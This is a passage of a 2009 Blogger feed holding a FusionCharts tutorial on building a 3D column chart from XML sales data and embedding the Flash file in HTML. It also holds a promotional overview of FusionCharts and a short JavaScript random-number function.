class="codeInline"&gt;c:\FusionCharts&lt;/span&gt;,&lt;br /&gt;   so that the new folder looks like &lt;span class="codeInline"&gt;c:\FusionCharts\FusionCharts&lt;/span&gt;.&lt;br /&gt;   This folder would be our container for all the chart SWF files. &lt;/p&gt;&lt;br /&gt;&lt;br /&gt;  &lt;p style="font-family: arial;"&gt;Copy all the chart SWF files (from Download Package &amp;gt; &lt;span class="codeInline"&gt;Charts&lt;/span&gt;&lt;br /&gt;   folder) into this newly created folder (&lt;span class="codeInline"&gt;c:\FusionCharts\FusionCharts&lt;/span&gt;\).&lt;/p&gt;&lt;br /&gt;  &lt;p style="font-family: arial;"&gt;This folder serves as the central location for charts. All our examples&lt;br /&gt;   would use the charts contained in this single folder.&lt;/p&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;Even when you're using FusionCharts&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;  on your website, it's a good idea to keep all the chart SWF files in a root&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;  level folder named as &lt;/span&gt;&lt;span style="font-family: arial;" class="codeInline"&gt;FusionCharts&lt;/span&gt;&lt;span style="font-family: arial;"&gt;. This&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;  makes sure that you do not have multiple copies of the same chart SWF. So,&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;  updates of charts become easier, as you just have to copy-paste the new&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;  charts at one location.&lt;/span&gt;&lt;p style="font-family: arial;"&gt; &lt;/p&gt;&lt;br /&gt;  &lt;p style="font-family: arial;"&gt;Now that the SWF files are set up, we move on to see how to create the&lt;br /&gt;   XML data for our chart.&lt;/p&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;Creating the XML data document&lt;/span&gt;&lt;p style="font-family: arial;"&gt;Before we build the chart, we first need&lt;br /&gt;   to have the data that we'll represent on the chart. Since we're plotting&lt;br /&gt;   monthly sales summary for a given year, our data in tabular form would&lt;br /&gt;   look something like below. Each month given below would be represented&lt;br /&gt;   on the chart as a 3D column.&lt;br /&gt; &lt;/p&gt;&lt;table style="font-family: arial;" width="200" border="1" cellpadding="1" cellspacing="0"&gt;&lt;tbody&gt;&lt;tr class="textBold"&gt;&lt;td&gt;Month&lt;/td&gt;&lt;td&gt; &lt;div align="right"&gt;Net Revenue&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr class="text"&gt;&lt;td&gt;January&lt;/td&gt;&lt;td&gt; &lt;div align="right"&gt;$17400&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr class="text"&gt;&lt;td&gt;February&lt;/td&gt;&lt;td&gt; &lt;div align="right"&gt;$19800&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr class="text"&gt;&lt;td&gt;March&lt;/td&gt;&lt;td&gt; &lt;div align="right"&gt;$21800&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr class="text"&gt;&lt;td&gt;April&lt;/td&gt;&lt;td&gt; &lt;div align="right"&gt;$23800&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr class="text"&gt;&lt;td&gt;May&lt;/td&gt;&lt;td&gt; &lt;div align="right"&gt;$29600&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr class="text"&gt;&lt;td&gt;June&lt;/td&gt;&lt;td&gt; &lt;div align="right"&gt;$27600&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr class="text"&gt;&lt;td&gt;July&lt;/td&gt;&lt;td&gt; &lt;div align="right"&gt;$31800&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr class="text"&gt;&lt;td&gt;August&lt;/td&gt;&lt;td&gt; &lt;div align="right"&gt;$39700&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr class="text"&gt;&lt;td&gt;September&lt;/td&gt;&lt;td&gt; &lt;div align="right"&gt;$37800&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr class="text"&gt;&lt;td&gt;October&lt;/td&gt;&lt;td&gt; &lt;div align="right"&gt;$21900&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr class="text"&gt;&lt;td&gt;November&lt;/td&gt;&lt;td&gt; &lt;div align="right"&gt;$32900&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr class="text"&gt;&lt;td&gt;December&lt;/td&gt;&lt;td&gt; &lt;div align="right"&gt;$39800&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;p style="font-family: arial;"&gt;Now, as earlier mentioned, FusionCharts necessarily&lt;br /&gt; needs its data in pre-defined XML format. It &lt;strong&gt;cannot&lt;/strong&gt; read&lt;br /&gt; any other format (including Excel, CSV or text data) apart from XML. So,&lt;br /&gt; we need to convert this data into XML. &lt;/p&gt;&lt;br /&gt;&lt;br /&gt;  &lt;p style="font-family: arial;" class="highlightBlock"&gt;You can use the visual XML Generator Utility to convert this tabular data into XML. That is explained in "Guide for General Users" section.  &lt;/p&gt;&lt;br /&gt;  &lt;p style="font-family: arial;"&gt;The converted XML data would look&lt;br /&gt; as under: &lt;/p&gt;&lt;span style="font-family: arial;"&gt;&amp;lt;chart caption='Monthly Sales Summary'&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;  subcaption='For the year 2006' xAxisName='Month' yAxisName='Sales' numberPrefix='$'&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;      &amp;lt;set label='January' value='17400' /&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;      &amp;lt;set label='February' value='19800' /&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;      &amp;lt;set label='March' value='21800' /&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;      &amp;lt;set label='April' value='23800' /&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;      &amp;lt;set label='May' value='29600' /&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt; &amp;lt;set&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;  label='June' value='27600' /&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt; &amp;lt;set label='July'&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;  value='31800' /&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt; &amp;lt;set label='August'&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;  value='39700' /&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt; &amp;lt;set label='September'&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;  value='37800' /&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt; &amp;lt;set label='October'&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;  value='21900' /&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt; &amp;lt;set label='November'&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;  value='32900' /&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt; &amp;lt;set label='December'&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;  value='39800' /&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;&amp;lt;/chart&amp;gt;&lt;/span&gt;&lt;p style="font-family: arial;"&gt;Punch the above code in a text editor (e.g.,&lt;br /&gt;   Notepad) and save it as &lt;span class="codeInline"&gt;Data.xml&lt;/span&gt; under&lt;br /&gt;   &lt;span class="codeInline"&gt;c:\FusionCharts\MyFirstChart&lt;/span&gt; folder.&lt;/p&gt;&lt;br /&gt;  &lt;p style="font-family: arial;"&gt;And yeah - don't worry about whatever spaghetti stuff you have just written&lt;br /&gt;   - we'll soon cover them. Basically, what we've done above can be listed&lt;br /&gt;   in the following points:&lt;/p&gt;&lt;br /&gt;  &lt;ul style="font-family: arial;"&gt;&lt;br /&gt;&lt;br /&gt;   &lt;li&gt;We've created the root &lt;span class="codeInline"&gt;&amp;lt;chart&amp;gt;&lt;/span&gt;&lt;br /&gt;     element, with a few attributes to define captions, axis names and number&lt;br /&gt;     prefix character, to consist everything. &lt;/li&gt;&lt;br /&gt;   &lt;li&gt;For each data row, we've created a &lt;span class="codeInline"&gt;&amp;lt;set&amp;gt;&lt;/span&gt;&lt;br /&gt;     element. &lt;span class="codeInline"&gt;label&lt;/span&gt; attribute of this element&lt;br /&gt;     represents the month name and &lt;span class="codeInline"&gt;value&lt;/span&gt;&lt;br /&gt;     attribute represents the data that we want to plot.&lt;/li&gt;&lt;br /&gt;&lt;br /&gt; &lt;/ul&gt;&lt;br /&gt;  &lt;p style="font-family: arial;"&gt;Just as a measure to check if the XML document is structurally valid,&lt;br /&gt;   open the file in your browser. You should be able to see the XML data&lt;br /&gt;   document in a formatted way, without any errors.&lt;/p&gt;&lt;br /&gt;  &lt;p style="font-family: arial;"&gt;And now, if you're running out of your patience to see this data in chart&lt;br /&gt;   format, let's quickly build the HTML container for this chart.&lt;br /&gt;&lt;br /&gt; &lt;/p&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;Creating the HTML container for chartEach chart needs to be embedded in an HTML file&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;  before it can be viewed. So, to view our chart, we'll have to create an&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;  HTML wrapper for this one too. Pull up your text editor again and throw&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;  in the following code:&amp;lt;html&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;&amp;lt;head&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;        &amp;lt;title&amp;gt;My First FusionCharts&amp;lt;/title&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;     &amp;lt;/head&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;&amp;lt;body bgcolor="#ffffff"&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;  &lt;strong style="font-family: arial;"&gt;      &amp;lt;object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"&lt;br /&gt; codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0"&lt;br /&gt; width="900" height="300" id="Column3D" &amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;          &amp;lt;param name="movie"&lt;br /&gt; value="../FusionCharts/Column3D.swf" /&amp;gt;&lt;br /&gt;&lt;br /&gt;          &amp;lt;param name="FlashVars"&lt;br /&gt; value="&amp;amp;dataURL=Data.xml"&amp;gt;&lt;br /&gt;&lt;br /&gt;          &amp;lt;param name="quality"&lt;br /&gt; value="high" /&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;          &amp;lt;embed src="../FusionCharts/Column3D.swf"&lt;br /&gt; flashVars="&amp;amp;dataURL=Data.xml" quality="high" width="900"&lt;br /&gt; height="300" name="Column3D" type="application/x-shockwave-flash"&lt;br /&gt; pluginspage="http://www.macromedia.com/go/getflashplayer" /&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;       &amp;lt;/object&amp;gt;&lt;/strong&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;&amp;lt;/body&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;  &amp;lt;/html&amp;gt;Save this file as &lt;/span&gt;&lt;span style="font-family: arial;" class="codeInline"&gt;Chart.html&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;  under &lt;/span&gt;&lt;span style="font-family: arial;" class="codeInline"&gt;MyFirstChart&lt;/span&gt;&lt;span style="font-family: arial;"&gt; folder. &lt;/span&gt;&lt;p style="font-family: arial;"&gt;The code in&lt;br /&gt;   &lt;strong&gt;bold&lt;/strong&gt; above is the actual code that you need to place&lt;br /&gt;   in your page to embed a FusionCharts chart. &lt;/p&gt;&lt;br /&gt;&lt;br /&gt;  &lt;p style="font-family: arial;"&gt;In the above code, we've &lt;/p&gt;&lt;br /&gt;  &lt;ul style="font-family: arial;"&gt;&lt;br /&gt;   &lt;li&gt;&lt;span class="text"&gt;used&lt;/span&gt;&lt;span class="codeInline"&gt; &amp;lt;OBJECT&amp;gt;&lt;/span&gt;&lt;br /&gt;     and &lt;span class="codeInline"&gt; &amp;lt;EMBED&amp;gt;&lt;/span&gt; tags to embed the&lt;br /&gt;     3D Column Chart (&lt;span class="codeInline"&gt;Column3D.swf&lt;/span&gt;) within&lt;br /&gt;     the HTML page. &lt;/li&gt;&lt;br /&gt;&lt;br /&gt;   &lt;li&gt;used &lt;span class="codeInline"&gt;&amp;amp;dataUrl=Data.xml&lt;/span&gt; under &lt;span class="codeInline"&gt;FlashVars&lt;/span&gt;&lt;br /&gt;     parameter to indicate the source of data to chart – &lt;span class="codeInline"&gt;Data.xml&lt;/span&gt;&lt;br /&gt;     in this case. This method of indicating data is referred to as &lt;span class="codeInline"&gt;dataURL&lt;/span&gt;&lt;br /&gt;     method of providing data.&lt;/li&gt;&lt;br /&gt;   &lt;li&gt;specified chart width as 900 and chart height as 300.&lt;/li&gt;&lt;br /&gt;&lt;br /&gt; &lt;/ul&gt;&lt;br /&gt;&lt;p style="font-family: arial;"&gt;To display a Flash movie correctly&lt;br /&gt;   in a browser, HTML page should contain specific tags that specify the&lt;br /&gt;   Flash movie file to be opened and played. There are two tags which are&lt;br /&gt;   intended for it: &lt;span class="codeInline"&gt;&amp;lt;OBJECT&amp;gt;&lt;/span&gt; and&lt;span class="codeInline"&gt;&lt;br /&gt;   &amp;lt;EMBED&amp;gt;&lt;/span&gt; tags. &lt;/p&gt;&lt;br /&gt;&lt;br /&gt;  &lt;p style="font-family: arial;"&gt;These two tags are required to display a Flash movie in different Internet&lt;br /&gt;   browsers properly. The&lt;span class="codeInline"&gt; &amp;lt;OBJECT&amp;gt;&lt;/span&gt;&lt;br /&gt;   tag is used by Internet Explorer under Microsoft Windows and the&lt;span class="codeInline"&gt;&lt;br /&gt;   &amp;lt;EMBED&amp;gt;&lt;/span&gt; tag is used by Netscape Navigator under Microsoft&lt;br /&gt;   Windows or Mac OS. Each of these two tags acts in the same way, however&lt;br /&gt;   using only one tag may cause incompatibility of one of the browsers. To&lt;br /&gt;   ensure that most browsers will play your Flash movies, you should place&lt;br /&gt;   the &lt;span class="codeInline"&gt;&amp;lt;EMBED&amp;gt;&lt;/span&gt; tag nested within the&lt;br /&gt;   &lt;span class="codeInline"&gt; &amp;lt;OBJECT&amp;gt;&lt;/span&gt; tag as shown in the example.&lt;br /&gt;   ActiveX-enabled browsers will ignore the &lt;span class="codeInline"&gt;&amp;lt;EMBED&amp;gt;&lt;/span&gt;&lt;br /&gt;   tag inside the &lt;span class="codeInline"&gt;&amp;lt;OBJECT&amp;gt;&lt;/span&gt; tag. Netscape&lt;br /&gt;   and old Microsoft browsers will not recognize the &lt;span class="codeInline"&gt;&amp;lt;OBJECT&amp;gt;&lt;/span&gt;&lt;br /&gt;   tag and will use only the &lt;span class="codeInline"&gt;&amp;lt;EMBED&amp;gt;&lt;/span&gt;&lt;br /&gt;   tag to load the Macromedia Flash Player.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; &lt;/p&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;And, it's now time to fructify the efforts that&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;  you have put into creating your first chart. Open &lt;/span&gt;&lt;span style="font-family: arial;" class="codeInline"&gt;Chart.html&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;  in your preferred browser. You should now see a chart like this (image below&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;  has been resized - actual chart will be bigger and more crisp):&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a style="font-family: arial;" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_oeqlq2e5Ncs/SdCRMNRFIbI/AAAAAAAAABI/FjZAU4h9rfA/s1600-h/FirstChart.jpg"&gt;&lt;img style="cursor: pointer; width: 650px; height: 153px;" src="http://4.bp.blogspot.com/_oeqlq2e5Ncs/SdCRMNRFIbI/AAAAAAAAABI/FjZAU4h9rfA/s320/FirstChart.jpg" alt="" id="BLOGGER_PHOTO_ID_5318910798830313906" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;And we just proved how easy it is to create&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;  a chart using FusionCharts. Next, we'll show you how easy it is to convert&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;  this chart into a pie chart.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;Troubleshooting&lt;/span&gt;&lt;p style="font-family: arial;"&gt;If for some reasons, you do not see a chart&lt;br /&gt;   similar to one shown above, run through the following checks:&lt;/p&gt;&lt;br /&gt;  &lt;p style="font-family: arial;"&gt;If you see an endless loading progress bar in your browser, or if the&lt;br /&gt;   right click menu (right click at the place where the chart is supposed&lt;br /&gt;   to be) shows "&lt;span class="codeInline"&gt;Movie not loaded&lt;/span&gt;",&lt;br /&gt;   check the following:&lt;/p&gt;&lt;br /&gt;  &lt;ul style="font-family: arial;"&gt;&lt;br /&gt;   &lt;li&gt;Have you pasted the chart SWF files in &lt;span class="codeInline"&gt;FusionCharts&lt;/span&gt;&lt;br /&gt;     folder?&lt;/li&gt;&lt;br /&gt;&lt;br /&gt;   &lt;li&gt;Have you provided the SWF path properly in your &lt;span class="codeInline"&gt;Chart.html&lt;/span&gt;&lt;br /&gt;     page?&lt;/li&gt;&lt;br /&gt;   &lt;li&gt;Do you have Adobe Flash Player 8 (or above) installed for this&lt;br /&gt;     browser?&lt;/li&gt;&lt;br /&gt;   &lt;li&gt;Have you enabled your browser to show ActiveX controls?&lt;br /&gt;     Normally, all browsers are Flash-enabled. &lt;/li&gt;&lt;br /&gt; &lt;/ul&gt;&lt;br /&gt;  &lt;p style="font-family: arial;"&gt;If you get a "Error in Loading Data" message, check the following:&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;  &lt;ul style="font-family: arial;"&gt;&lt;br /&gt;   &lt;li&gt;Whether &lt;span class="codeInline"&gt;Data.xml&lt;/span&gt; is in the same folder&lt;br /&gt;     as the &lt;span class="codeInline"&gt;Chart.html&lt;/span&gt; HTML file?&lt;/li&gt;&lt;br /&gt;   &lt;li&gt;Whether &lt;span class="codeInline"&gt;Data.xml&lt;/span&gt; is named as &lt;span class="codeInline"&gt;Data.xml&lt;/span&gt;&lt;br /&gt;     and not &lt;span class="codeInline"&gt;Data.xml.txt&lt;/span&gt;, as many basic&lt;br /&gt;     text editors append .txt after the file name?&lt;/li&gt;&lt;br /&gt;&lt;br /&gt; &lt;/ul&gt;&lt;br /&gt;  &lt;p style="font-family: arial;"&gt;If you get an "Invalid XML Data" message, it means that the&lt;br /&gt;   XML data document is malformed. Check it again for common errors like:&lt;/p&gt;&lt;br /&gt;  &lt;ul style="font-family: arial;"&gt;&lt;br /&gt;   &lt;li&gt;Difference in case of tags. &lt;span class="codeInline"&gt;&amp;lt;chart&amp;gt;&lt;/span&gt;&lt;br /&gt;     should end with &lt;span class="codeInline"&gt;&amp;lt;/chart&amp;gt;&lt;/span&gt; and &lt;strong&gt;not&lt;/strong&gt;&lt;br /&gt;     &lt;span class="codeInline"&gt;&amp;lt;/Chart&amp;gt;&lt;/span&gt; or&lt;span class="codeInline"&gt;&lt;br /&gt;     &amp;lt;/CHART&amp;gt;&lt;/span&gt;&lt;/li&gt;&lt;br /&gt;&lt;br /&gt;   &lt;li&gt;Missing opening/closing quotation marks for any attributes. e.g.,&lt;br /&gt;     &lt;span class="codeInline"&gt;&amp;lt;chart caption=Monthly Sales' &lt;/span&gt;should&lt;br /&gt;     be &lt;span class="codeInline"&gt;&amp;lt;chart caption='Monthly Sales'&lt;/span&gt;&lt;/li&gt;&lt;br /&gt;   &lt;li&gt;Missing closing tag for any element.&lt;/li&gt;&lt;br /&gt; &lt;/ul&gt;      &lt;p style="font-family: arial;"&gt;To check whether your final XML is ok, open it in your browser and you'll&lt;br /&gt;   see the error.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8597215226185720321-7055785053081955788?l=opensourceconcepts.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opensourceconcepts.blogspot.com/feeds/7055785053081955788/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/fusion-chart-create-your-first.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/7055785053081955788'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/7055785053081955788'/><link rel='alternate' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/fusion-chart-create-your-first.html' title='Fusion Chart - Create your first application'/><author><name>AmyAgs</name><uri>http://www.blogger.com/profile/14934123285352329996</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://1.bp.blogspot.com/_oeqlq2e5Ncs/ScybjtN4YRI/AAAAAAAAAAU/rv12ouBSk30/S220/ep.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_oeqlq2e5Ncs/SdCRMNRFIbI/AAAAAAAAABI/FjZAU4h9rfA/s72-c/FirstChart.jpg' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8597215226185720321.post-7843956684871487418</id><published>2009-03-30T02:02:00.000-07:00</published><updated>2009-03-30T02:13:51.246-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='API'/><title type='text'>What is Fusion Charts?</title><content type='html'>&lt;span style="font-family: arial;"&gt;FusionCharts is a flash charting component that can be used to render data-driven animated charts. Made in Adobe Flash 8 (formerly Macromedia Flash), FusionCharts can be used with any web scripting language like HTML, .NET, ASP, JSP, PHP, ColdFusion etc., to deliver interactive and powerful charts. Using XML as its data interface, FusionCharts makes full use of fluid beauty of Flash to create compact, interactive and visually-arresting charts.&lt;/span&gt;&lt;br /&gt; &lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;Advantages of using FusionCharts&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; &lt;span style="font-weight: bold; font-family: arial;"&gt;Animated and interactive Charts&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;   Using FusionCharts, you can quickly and easily render animated charts that have a lot of interactive options for the end users. Different chart types support different forms of animation and interactivity, thereby providing a different experience to the end users.&lt;/span&gt;&lt;br /&gt;    &lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt; Easy yet powerful AJAX/JavaScript integration&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;   FusionCharts offers advanced options to integrate charts with AJAX applications or JavaScript modules. You can update charts on client side, invoke JavaScript functions as hotspot links, or make dynamic calls for XML data to server without involving any page refreshes.&lt;/span&gt;&lt;br /&gt;    &lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt; No installation hassles&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;   To use FusionCharts, you do not have to install anything on your server. All you need to do is copy paste the SWF files (the core files of FusionCharts) to your server, just like you would do to any image files - and you're ready to go! So, even on those servers which do not allow installation of ActiveX or any other form of components, FusionCharts can run without any hassles.&lt;/span&gt;&lt;br /&gt;    &lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt; Easy to use&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;   FusionCharts makes the chart creation process a painless experience for you. Since it uses XML as its data, all you need to do is convert your data into XML using a programming language or using the visual GUI provided in FusionCharts - and that's all what is required to create interactive and animated charts.&lt;/span&gt;&lt;br /&gt;    &lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt; Runs on a variety of platforms&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;   Irrespective of what server side scripting language you're using, FusionCharts can be used to create charts in that. Since FusionCharts uses XML as the data interface, you can run it on any server and against any scripting language. Also, to view the charts, your users just need to have Adobe Flash Player 8, which is one of the most used browser plugins on the planet.&lt;/span&gt;&lt;br /&gt;    &lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt; Reduces load on your servers&lt;/span&gt;&lt;br /&gt;   &lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;In traditional image based charting systems, the charts are generated as image at the server side. So, for each chart that you need to serve to a user, you'll have to build complex images on the server and then stream it to the client. When the need of hour is high, this can be an expensive resource on the server, as image creation takes a lot of toll on the server.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;FusionCharts brings you great relief - all the charts are rendered at client side using the widely installed Adobe Flash Platform. The server is just responsible for streaming the pre-built SWF files and your XML data files to the end viewers. From there on, Flash Player takes the onus of rendering the charts. Also, the chart SWF Files can be cached so that you can just update the data, and not send chart SWF files every time.&lt;/span&gt;&lt;br /&gt;    &lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt; A plethora of chart types&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;   FusionCharts v3 offers you a plethora of chart types. From the basic bar, column, line, pie etc. to the advanced combination and scroll charts, you can build all the charts with the same ease of use.&lt;/span&gt;&lt;br /&gt;    &lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt; Clear licensing policies&lt;/span&gt;&lt;br /&gt;   &lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;FusionCharts offers you a clear cut no-nonsense licensing model. We do NOT charge for per-testing server or per-production server. Once you buy a license of FusionCharts, you can host it on multiple servers, if all those servers are hosting the same website. We offer unlimited development servers, unlimited test servers and unlimited CPUs on a given server with each license of FusionCharts.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;Moreover, if you're using multiple technologies for the same application - like say, ASP for a few modules and PHP for a few modules, you can use FusionCharts for both of them, without having to pay us anything additional. This saves you a lot on licensing cost and renders a generic look and feel to all the charts of your application.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8597215226185720321-7843956684871487418?l=opensourceconcepts.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opensourceconcepts.blogspot.com/feeds/7843956684871487418/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/what-is-fusion-charts.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/7843956684871487418'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/7843956684871487418'/><link rel='alternate' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/what-is-fusion-charts.html' title='What is Fusion Charts?'/><author><name>AmyAgs</name><uri>http://www.blogger.com/profile/14934123285352329996</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://1.bp.blogspot.com/_oeqlq2e5Ncs/ScybjtN4YRI/AAAAAAAAAAU/rv12ouBSk30/S220/ep.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8597215226185720321.post-360691726406636874</id><published>2009-03-30T02:01:00.000-07:00</published><updated>2009-03-30T02:02:29.852-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='JavaScript'/><title type='text'>JS Random number fucntion</title><content type='html'>function rand( min, max ) {&lt;br /&gt;// http://kevin.vanzonneveld.net&lt;br /&gt;// +   original by: Leslie Hoare&lt;br /&gt;// +   bugfixed by: Onno Marsman&lt;br /&gt;// *     example 1: rand(1, 1);&lt;br /&gt;// *     returns 1: 1&lt;br /&gt;var argc = arguments.length;&lt;br /&gt;if (argc == 0) {&lt;br /&gt; min = 0;&lt;br /&gt; max = 2147483647;&lt;br /&gt;} else if (argc == 1) {&lt;br /&gt; throw new Error('Warning: rand() expects exactly 2 parameters, 1 given');&lt;br /&gt;}&lt;br /&gt;return Math.floor(Math.random() * (max - min + 1)) + min;&lt;br /&gt;}&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8597215226185720321-360691726406636874?l=opensourceconcepts.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opensourceconcepts.blogspot.com/feeds/360691726406636874/comments/default' title='Post Comments'/><link rel='replies' type='text/html' 